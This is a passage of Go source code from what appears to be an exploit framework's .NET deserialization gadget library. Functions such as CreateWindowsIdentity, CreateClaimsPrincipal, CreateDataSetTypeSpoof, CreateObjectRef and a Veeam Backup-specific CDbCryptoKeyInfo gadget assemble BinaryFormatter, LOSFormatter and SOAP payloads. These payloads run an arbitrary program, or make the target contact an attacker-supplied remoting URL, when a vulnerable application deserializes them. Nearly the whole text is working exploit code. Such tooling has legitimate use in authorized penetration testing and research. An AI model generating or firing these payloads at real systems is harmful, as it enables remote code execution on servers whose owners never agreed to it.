	obj5MemberTypeInfo, ok := getMemberTypeInfo(obj5MemberTypes, obj5MemberNames, obj5AdditionalInfo)
	if !ok {
		return "", false
	}

	obj5ClassInfo := ClassInfo{
		ObjectID:    5,
		Name:        "System.DelegateSerializationHolder",
		MemberNames: obj5MemberNames,
	}

	obj5 := SystemClassWithMembersAndTypesRecord{
		ClassInfo:      obj5ClassInfo,
		MemberTypeInfo: obj5MemberTypeInfo,
		MemberValues:   obj5MemberValues,
	}

	// classWIthID 1
	var classWithIDOneMemberValues []any
	classWithIDOneMemberValues = append(classWithIDOneMemberValues, BinaryObjectString{ObjectID: 22, Value: "Compare"})
	classWithIDOneMemberValues = append(classWithIDOneMemberValues, MemberReferenceRecord{IDRef: 12})
	classWithIDOneMemberValues = append(classWithIDOneMemberValues, BinaryObjectString{ObjectID: 24, Value: "System.String"})
	classWithIDOneMemberValues = append(classWithIDOneMemberValues, BinaryObjectString{ObjectID: 25, Value: "Int32 Compare(System.String, System.String)"})
	classWithIDOneMemberValues = append(classWithIDOneMemberValues, BinaryObjectString{ObjectID: 26, Value: "System.Int32 Compare(System.String, System.String)"})
	classWithIDOneMemberValues = append(classWithIDOneMemberValues, 8)
	classWithIDOneMemberValues = append(classWithIDOneMemberValues, ObjectNullRecord{})

	classWithIDOneRecord := ClassWithIDRecord{
		ObjectID:     10,
		MetadataID:   9,
		MemberValues: classWithIDOneMemberValues,
	}
	// classWIthID 2
	var classWithIDTwoMemberValues []any
	classWithIDTwoMemberValues = append(classWithIDTwoMemberValues, BinaryObjectString{ObjectID: 27, Value: fmt.Sprintf("System.Comparison`1[[%s]]", mscorlibSystemString)})
	classWithIDTwoMemberValues = append(classWithIDTwoMemberValues, MemberReferenceRecord{IDRef: 12})
	classWithIDTwoMemberValues = append(classWithIDTwoMemberValues, ObjectNullRecord{})
	classWithIDTwoMemberValues = append(classWithIDTwoMemberValues, MemberReferenceRecord{IDRef: 12})
	classWithIDTwoMemberValues = append(classWithIDTwoMemberValues, MemberReferenceRecord{IDRef: 24})
	classWithIDTwoMemberValues = append(classWithIDTwoMemberValues, MemberReferenceRecord{IDRef: 22})
	classWithIDTwoMemberValues = append(classWithIDTwoMemberValues, ObjectNullRecord{})

	classWithIDTwoRecord := ClassWithIDRecord{
		ObjectID:     16,
		MetadataID:   8,
		MemberValues: classWithIDTwoMemberValues,
	}

	// final combination
	serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}
	serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()
	binLibString, _ := systemBinaryLibraryRecord.ToRecordBin()
	obj1String, ok := obj1.ToRecordBin()
	if !ok {
		return "", false
	}
	obj3String, ok := obj3.ToRecordBin()
	if !ok {
		return "", false
	}
	obj5String, ok := obj5.ToRecordBin()
	if !ok {
		return "", false
	}
	obj8String, ok := obj8.ToRecordBin()
	if !ok {
		return "", false
	}
	obj9String, ok := obj9.ToRecordBin()
	if !ok {
		return "", false
	}
	classWithIDOneString, ok := classWithIDOneRecord.ToRecordBin()
	if !ok {
		return "", false
	}
	classWithIDTwoString, ok := classWithIDTwoRecord.ToRecordBin()
	if !ok {
		return "", false
	}
	arraySingleStringRecordString, ok := arraySingleStringRecord.ToRecordBin()
	if !ok {
		return "", false
	}

	payload := serializationHeaderRecordString + binLibString +
		obj1String +
		obj3String +
		arraySingleStringRecordString +
		obj5String +
		obj8String +
		obj9String +
		classWithIDOneString +
		classWithIDTwoString +
		string(byte(RecordTypeEnumMap["MessageEnd"]))

	switch formatter {
	case LOSFormatter:
		return FormatLOS(payload), true
	case BinaryFormatter:
		return payload, true
	case "":
		return payload, true
	default:
		output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter'", formatter)

		return "", false
	}
}

func CreateWindowsIdentity(program string, args string, formatter string) (string, bool) {
	innerTypeConfuseDelegate, ok := CreateTypeConfuseDelegate(program, args, BinaryFormatter)
	if !ok {
		return "", false
	}
	b64String := make([]byte, base64.StdEncoding.EncodedLen(len(innerTypeConfuseDelegate)))
	base64.StdEncoding.Encode(b64String, []byte(innerTypeConfuseDelegate))
	innerTypeConfuseDelegateBase64 := string(b64String)

	var memberValues []any
	memberValues = append(memberValues, BinaryObjectString{ObjectID: 2, Value: innerTypeConfuseDelegateBase64})

	memberNames := []string{"System.Security.ClaimsIdentity.actor"}

	memberTypeInfo, ok := getMemberTypeInfo([]string{"String"}, memberNames, nil)

	if !ok {
		return "", false
	}

	classInfo := ClassInfo{
		ObjectID:    1,
		Name:        "System.Security.Principal.WindowsIdentity",
		MemberNames: memberNames,
		MemberCount: len(memberNames),
	}
	systemClassWithMembersAndTypesRecord := SystemClassWithMembersAndTypesRecord{
		MemberTypeInfo: memberTypeInfo,
		MemberValues:   memberValues,
		ClassInfo:      classInfo,
	}
	systemClassWithMembersAndTypesRecordString, ok := systemClassWithMembersAndTypesRecord.ToRecordBin()
	if !ok {
		return "", false
	}

	// Finalize it
	serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}
	serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()

	payload := serializationHeaderRecordString +
		systemClassWithMembersAndTypesRecordString +
		string(byte(RecordTypeEnumMap["MessageEnd"]))

	switch formatter {
	case LOSFormatter:
		return FormatLOS(payload), true
	case BinaryFormatter:
		return payload, true
	case "":
		return payload, true
	case SOAPFormatter:
		xmlData, _, ok := FormatSOAP([]Record{systemClassWithMembersAndTypesRecord})
		if !ok {
			return "", false
		}

		return xmlData, true
	default:
		output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter'", formatter)

		return "", false
	}
}

func CreateClaimsPrincipal(program string, args string, formatter string) (string, bool) {
	innerTypeConfuseDelegate, ok := CreateTypeConfuseDelegate(program, args, BinaryFormatter)
	if !ok {
		return "", false
	}
	b64String := make([]byte, base64.StdEncoding.EncodedLen(len(innerTypeConfuseDelegate)))
	base64.StdEncoding.Encode(b64String, []byte(innerTypeConfuseDelegate))
	innerTypeConfuseDelegateBase64 := string(b64String)

	var memberValues []any
	memberValues = append(memberValues, BinaryObjectString{ObjectID: 5, Value: innerTypeConfuseDelegateBase64})

	memberNames := []string{"m_serializedClaimsIdentities"}

	memberTypeInfo, ok := getMemberTypeInfo([]string{"String"}, memberNames, nil)
	if !ok {
		return "", false
	}

	classInfo := ClassInfo{
		ObjectID:    1,
		Name:        "System.Security.Claims.ClaimsPrincipal",
		MemberNames: memberNames,
		MemberCount: len(memberNames),
	}
	systemClassWithMembersAndTypesRecord := SystemClassWithMembersAndTypesRecord{
		MemberTypeInfo: memberTypeInfo,
		MemberValues:   memberValues,
		ClassInfo:      classInfo,
	}
	systemClassWithMembersAndTypesRecordString, ok := systemClassWithMembersAndTypesRecord.ToRecordBin()
	if !ok {
		return "", false
	}

	// Finalize it
	serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}
	serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()

	payload := serializationHeaderRecordString +
		systemClassWithMembersAndTypesRecordString +
		string(byte(RecordTypeEnumMap["MessageEnd"]))

	switch formatter {
	case LOSFormatter:
		return FormatLOS(payload), true
	case BinaryFormatter:
		return payload, true
	case "":
		return payload, true
	case SOAPFormatter:
		xmlData, _, ok := FormatSOAP([]Record{systemClassWithMembersAndTypesRecord})
		if !ok {
			return "", false
		}

		return xmlData, true
	default:
		output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter', 'SOAPFormatter'", formatter)

		return "", false
	}
}

func CreateDataSetTypeSpoof(program string, args string, formatter string) (string, bool) {
	innerTextFormattingProperties, ok := CreateTextFormattingRunProperties(program, args, BinaryFormatter)
	if !ok {
		return "", false
	}
	systemDataString := "System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
	binaryLibraryRecord := BinaryLibraryRecord{ID: 3, Library: systemDataString}
	className := "System.Data.DataSet, System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"

	// create INNER class
	var innerMemberValues []any
	innerMemberValues = append(innerMemberValues, 1)
	var innerMemberTypeInfoAdditionalInfos []any
	innerMemberTypeInfoAdditionalInfos = append(innerMemberTypeInfoAdditionalInfos, PrimitiveTypeEnum["Int32"])
	innerMemberTypeInfo, ok := getMemberTypeInfo([]string{"Primitive"}, []string{"value__"}, innerMemberTypeInfoAdditionalInfos)
	if !ok {
		return "", false
	}

	innerClassWithMembersAndTypes := ClassWithMembersAndTypesRecord{
		ClassInfo: ClassInfo{
			ObjectID:    -4,
			Name:        "System.Data.SerializationFormat",
			MemberNames: []string{"value__"},
		},
		MemberTypeInfo: innerMemberTypeInfo,
		LibraryID:      3,
		MemberValues:   innerMemberValues,
		BinaryLibrary:  binaryLibraryRecord,
	}

	// Continue creating primary class
	var memberValues []any
	memberValues = append(memberValues, innerClassWithMembersAndTypes)
	memberValues = append(memberValues, BinaryObjectString{ObjectID: 5})
	memberValues = append(memberValues, MemberReferenceRecord{IDRef: 5})
	memberValues = append(memberValues, MemberReferenceRecord{IDRef: 5})
	memberValues = append(memberValues, false)
	memberValues = append(memberValues, 1033)
	memberValues = append(memberValues, false)
	memberValues = append(memberValues, ObjectNullRecord{})
	memberValues = append(memberValues, 1)
	memberValues = append(memberValues, MemberReferenceRecord{IDRef: 6})
	memberNames := []string{
		"DataSet.RemotingFormat",
		"DataSet.DataSetName",
		"DataSet.Namespace",
		"DataSet.Prefix",
		"DataSet.CaseSensitive",
		"DataSet.LocaleLCID",
		"DataSet.EnforceConstraints",
		"DataSet.ExtendedProperties",
		"DataSet.Tables.Count",
		"DataSet.Tables_0",
	}

	var additionalInfo []any
	additionalInfo = append(additionalInfo, ClassTypeInfo{TypeName: "System.Data.SerializationFormat", LibraryID: 3})
	additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Boolean"])
	additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Int32"])
	additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Boolean"])
	additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Int32"])
	additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Byte"])

	memberTypes := []string{
		"Class",
		"String",
		"String",
		"String",
		"Primitive",
		"Primitive",
		"Primitive",
		"Object",
		"Primitive",
		"PrimitiveArray",
	}

	memberTypeInfo, ok := getMemberTypeInfo(memberTypes, memberNames, additionalInfo)
	if !ok {
		return "", false
	}

	classInfo := ClassInfo{
		ObjectID:    1,
		Name:        className,
		MemberNames: memberNames,
		MemberCount: len(memberNames),
	}

	classWithMembersAndTypesRecord := ClassWithMembersAndTypesRecord{
		MemberTypeInfo: memberTypeInfo,
		MemberValues:   memberValues,
		ClassInfo:      classInfo,
		LibraryID:      2,
	}

	// create an array Single Primitive
	arraySinglePrimitiveRecord := ArraySinglePrimitiveRecord{
		PrimitiveTypeEnum: PrimitiveTypeEnum["Byte"],
		ArrayInfo:         ArrayInfo{ObjectID: 6, MemberCount: len(innerTextFormattingProperties)},
		Members:           string([]byte(innerTextFormattingProperties)),
	}

	// Finalize/order the records
	serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}
	serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()
	binaryLibraryRecordString, ok := binaryLibraryRecord.ToRecordBin()
	if !ok {
		return "", false
	}
	mscorlibBinaryLibrary := BinaryLibraryRecord{ID: 2, Library: "mscorlib"}
	mscorlibBinaryLibraryString, ok := mscorlibBinaryLibrary.ToRecordBin()
	if !ok {
		return "", false
	}
	classWithMembersAndTypesRecordString, ok := classWithMembersAndTypesRecord.ToRecordBin()
	if !ok {
		return "", false
	}
	arraySinglePrimitiveRecordString, ok := arraySinglePrimitiveRecord.ToRecordBin()
	if !ok {
		return "", false
	}

	payload := serializationHeaderRecordString +
		mscorlibBinaryLibraryString +
		binaryLibraryRecordString +
		classWithMembersAndTypesRecordString +
		arraySinglePrimitiveRecordString +
		string(byte(RecordTypeEnumMap["MessageEnd"]))

	switch formatter {
	case LOSFormatter:
		return FormatLOS(payload), true
	case BinaryFormatter:
		return payload, true
	case "":
		return payload, true
	default:
		output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'LOSFormatter', 'BinaryFormatter'", formatter)

		return "", false
	}
}

func CreateVeeamCryptoKeyInfo(url string, formatter string) (string, bool) {
	innerObjRef, ok := CreateObjectRef(url, "")
	if !ok {
		return "", false
	}
	b64String := make([]byte, base64.StdEncoding.EncodedLen(len(innerObjRef)))
	base64.StdEncoding.Encode(b64String, []byte(innerObjRef))
	innerObjRefB64 := string(b64String)

	memberTypes := []string{"SystemClass", "Object", "Primitive", "String", "String", "Primitive", "Primitive", "Primitive", "StringArray"}

	memberNames := []string{
		"Id",
		"KeySetId",
		"KeyType",
		"Hint",
		"DecryptedKeyValue",
		"LocaleLCID",
		"ModificationDateUtc",
		"CryptoAlg",
		"RepairRecs",
	}

	var additionalInfo []any
	additionalInfo = append(additionalInfo, "System.Guid")
	additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Int32"])
	additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Int32"])
	additionalInfo = append(additionalInfo, PrimitiveTypeEnum["DateTime"])
	additionalInfo = append(additionalInfo, PrimitiveTypeEnum["Int32"])

	classInfo := ClassInfo{
		ObjectID:    1,
		Name:        "Veeam.Backup.Model.CDbCryptoKeyInfo",
		MemberCount: len(memberNames),
		MemberNames: memberNames,
	}
	// INNER CLASS for value
	var innerMemberValues []any
	var innerAdditionalInfo []any
	innerMemberNames := []string{"_a", "_b", "_c", "_d", "_e", "_f", "_g", "_h", "_i", "_j", "_k"}
	innerMemberTypes := []string{"Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive", "Primitive"}

	// 08 07 07 02 02 02 02 02 02 02 02
	innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Int32"])
	innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Int16"])
	innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Int16"])
	innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Byte"])
	innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Byte"])
	innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Byte"])
	innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Byte"])
	innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Byte"])
	innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Byte"])
	innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Byte"])
	innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Byte"])

	innerMemberValues = append(innerMemberValues, PrimitiveInt32(-1356456226))
	innerMemberValues = append(innerMemberValues, PrimitiveInt16(-16401))
	innerMemberValues = append(innerMemberValues, PrimitiveInt16(20306))
	// 97 0f 7f fe 1c 1c 79 27
	innerMemberValues = append(innerMemberValues, PrimitiveByte(0x97))
	innerMemberValues = append(innerMemberValues, PrimitiveByte(0x0f))
	innerMemberValues = append(innerMemberValues, PrimitiveByte(0x7f))
	innerMemberValues = append(innerMemberValues, PrimitiveByte(0xfe))
	innerMemberValues = append(innerMemberValues, PrimitiveByte(0x1c))
	innerMemberValues = append(innerMemberValues, PrimitiveByte(0x1c))
	innerMemberValues = append(innerMemberValues, PrimitiveByte(0x79))
	innerMemberValues = append(innerMemberValues, PrimitiveByte(0x27))

	innerMemberTypeInfo, ok := getMemberTypeInfo(innerMemberTypes, innerMemberNames, innerAdditionalInfo)
	if !ok {
		return "", false
	}

	innerSystemClassWithMembersAndTypes := SystemClassWithMembersAndTypesRecord{
		ClassInfo: ClassInfo{
			ObjectID:    -3,
			Name:        "System.Guid",
			MemberCount: len(innerMemberNames),
			MemberNames: innerMemberNames,
		},
		MemberValues:   innerMemberValues,
		MemberTypeInfo: innerMemberTypeInfo,
	}

	var memberValues []any
	memberValues = append(memberValues, innerSystemClassWithMembersAndTypes) // ID GUID
	memberValues = append(memberValues, ObjectNullRecord{})                  // KeySetID null
	memberValues = append(memberValues, 1)                                   // KeyType int32

	memberValues = append(memberValues, BinaryObjectString{ObjectID: 4, Value: "aaaaa"}) // Hint STRING
	memberValues = append(memberValues, BinaryObjectString{ObjectID: 5, Value: "AAAA"})  // DecryptedKeyValue STRING
	memberValues = append(memberValues, 0x409)                                           // locallcid int // 1033

	memberValues = append(memberValues, "\x00\x00\x00\x00\x00\x00\x00\x00") // ModificationDateUtc datetime, just needs to be 8 bytes
	memberValues = append(memberValues, 1)                                  // CryptoAlg int 1
	memberValues = append(memberValues, MemberReferenceRecord{IDRef: 6})    // CryptoAlg int 1

	var arrayMembers []any
	arrayMembers = append(arrayMembers, BinaryObjectString{ObjectID: 7, Value: innerObjRefB64})
	arraySingleStringRecord := ArraySingleStringRecord{
		ArrayInfo: ArrayInfo{
			ObjectID:    6,
			MemberCount: 1,
		},
		Members: arrayMembers,
	}

	memberTypeInfo, ok := getMemberTypeInfo(memberTypes, memberNames, additionalInfo)
	if !ok {
		return "", false
	}

	classWithMembersAndTypes := ClassWithMembersAndTypesRecord{
		ClassInfo:      classInfo,
		MemberValues:   memberValues,
		MemberTypeInfo: memberTypeInfo,
		LibraryID:      2,
	}

	// finalize
	serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}
	serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()
	binaryLibraryRecord := BinaryLibraryRecord{Library: "Veeam.Backup.Model, Version=12.1.0.0, Culture=neutral, PublicKeyToken=bfd684de2276783a", ID: 2}
	binaryLibraryRecordString, _ := binaryLibraryRecord.ToRecordBin()
	classWithMembersAndTypesString, ok := classWithMembersAndTypes.ToRecordBin()
	if !ok {
		return "", false
	}
	arraySingleStringRecordString, ok := arraySingleStringRecord.ToRecordBin()
	if !ok {
		return "", false
	}

	payload := serializationHeaderRecordString +
		binaryLibraryRecordString +
		classWithMembersAndTypesString +
		arraySingleStringRecordString +
		string(byte(RecordTypeEnumMap["MessageEnd"]))

	switch formatter {
	case BinaryFormatter:
		return payload, true
	case "":
		return payload, true
	default:
		output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'BinaryFormatter'", formatter)

		return "", false
	}
}

func CreateObjectRef(url string, formatter string) (string, bool) {
	var firstMemberValues []any
	var firstAdditionalInfo []any
	firstClassName := "System.Exception"
	firstAdditionalInfo = append(firstAdditionalInfo, "System.Runtime.Remoting.ObjRef")
	firstMemberValues = append(firstMemberValues, MemberReferenceRecord{IDRef: 2})
	firstMemberNames := []string{"ClassName"}
	firstMemberTypes := []string{"SystemClass"}
	firstClassInfo := ClassInfo{
		ObjectID:    1,
		Name:        firstClassName,
		MemberCount: len(firstMemberNames),
		MemberNames: firstMemberNames,
	}
	firstMemberTypeInfo, ok := getMemberTypeInfo(firstMemberTypes, firstMemberNames, firstAdditionalInfo)
	if !ok {
		return "", false
	}

	firstSystemClassWithMembersAndTypesRecord := SystemClassWithMembersAndTypesRecord{
		ClassInfo:      firstClassInfo,
		MemberValues:   firstMemberValues,
		MemberTypeInfo: firstMemberTypeInfo,
	}

	// SECOND CLASS, a value for the first one
	var secondMemberValues []any
	secondClassName := "System.Runtime.Remoting.ObjRef"
	secondMemberValues = append(secondMemberValues, BinaryObjectString{ObjectID: 3, Value: url})
	secondMemberNames := []string{"url"}
	secondMemberTypes := []string{"String"}
	secondClassInfo := ClassInfo{
		ObjectID:    2,
		Name:        secondClassName,
		MemberCount: len(secondMemberNames),
		MemberNames: secondMemberNames,
	}
	secondMemberTypeInfo, ok := getMemberTypeInfo(secondMemberTypes, secondMemberNames, nil)
	if !ok {
		return "", false
	}
	secondSystemClassWithMembersAndTypesRecord := SystemClassWithMembersAndTypesRecord{
		ClassInfo:      secondClassInfo,
		MemberValues:   secondMemberValues,
		MemberTypeInfo: secondMemberTypeInfo,
	}

	// finalize
	serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1}
	serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin()
	firstSystemClassWithMembersAndTypesString, ok := firstSystemClassWithMembersAndTypesRecord.ToRecordBin()
	if !ok {
		return "", false
	}
	secondSystemClassWithMembersAndTypesString, ok := secondSystemClassWithMembersAndTypesRecord.ToRecordBin()
	if !ok {
		return "", false
	}
	payload := serializationHeaderRecordString +
		firstSystemClassWithMembersAndTypesString +
		secondSystemClassWithMembersAndTypesString +
		string(byte(RecordTypeEnumMap["MessageEnd"]))

	switch formatter {
	case BinaryFormatter:
		return payload, true
	case "":
		return payload, true
	default:
		output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'BinaryFormatter'", formatter)

		return "", false
	}
}
